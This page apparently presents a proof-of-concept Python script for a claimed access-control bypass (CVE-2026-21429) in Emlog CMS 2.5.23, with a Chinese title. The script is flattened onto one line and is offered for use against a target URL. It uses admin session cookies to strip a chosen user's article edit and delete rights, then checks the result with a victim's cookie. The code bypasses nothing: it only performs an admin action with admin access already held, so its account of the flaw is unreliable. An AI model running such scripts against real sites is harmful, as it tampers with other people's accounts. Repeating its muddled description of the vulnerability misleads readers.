CVE-2026-21429 Emlog CMS 访问控制绕过漏洞

import requests import json # CVE-2026-21429 PoC - Emlog CMS Access Control Bypass # Target: Emlog CMS 2.5.23 # Vulnerability: Admin can restrict users from editing/deleting their articles TARGET_URL = "http://target-site.com/emlog" ADMIN_COOKIES = {"EMLOG_ADMIN": "admin_session_cookie"} TARGET_USER_ID = 2 def exploit_restrict_user_permissions(): """ Exploit: Admin restricts user from editing/deleting articles Steps: 1. Authenticate as admin 2. Access user permission settings 3. Modify target user's permissions 4. Verify restriction applied """ session = requests.Session() session.cookies.update(ADMIN_COOKIES) # Step 1: Access admin user management panel admin_users_url = f"{TARGET_URL}/admin/user.php?action=edit&uid={TARGET_USER_ID}" response = session.get(admin_users_url) if response.status_code != 200: print("[-] Failed to access admin panel") return False # Step 2: Modify user permissions to restrict article editing restricted_permissions = { "uid": TARGET_USER_ID, "article_edit": 0, # Disable edit "article_delete": 0, # Disable delete "role": "subscriber" # Lower privilege level } update_url = f"{TARGET_URL}/admin/user.php?action=update" response = session.post(update_url, data=restricted_permissions) if response.status_code == 200: print("[+] Successfully restricted user permissions") print(f"[+] User {TARGET_USER_ID} can no longer edit/delete articles") return True else: print("[-] Permission modification failed") return False def verify_restriction(): """ Verify the restriction was applied """ session = requests.Session() # Victim user attempts to edit their own article victim_cookies = {"EMLOG_USER": "victim_session_cookie"} session.cookies.update(victim_cookies) article_id = 123 edit_url = f"{TARGET_URL}/admin/article.php?action=edit&id={article_id}" response = session.get(edit_url) if "permission denied" in response.text.lower() or response.status_code == 403: print("[+] Verification: User is restricted from editing articles") return True else: print("[-] Restriction may not have been applied") return False if __name__ == "__main__": print("=" * 50) print("CVE-2026-21429 PoC - Emlog Access Control Bypass") print("=" * 50) exploit_restrict_user_permissions() verify_restriction()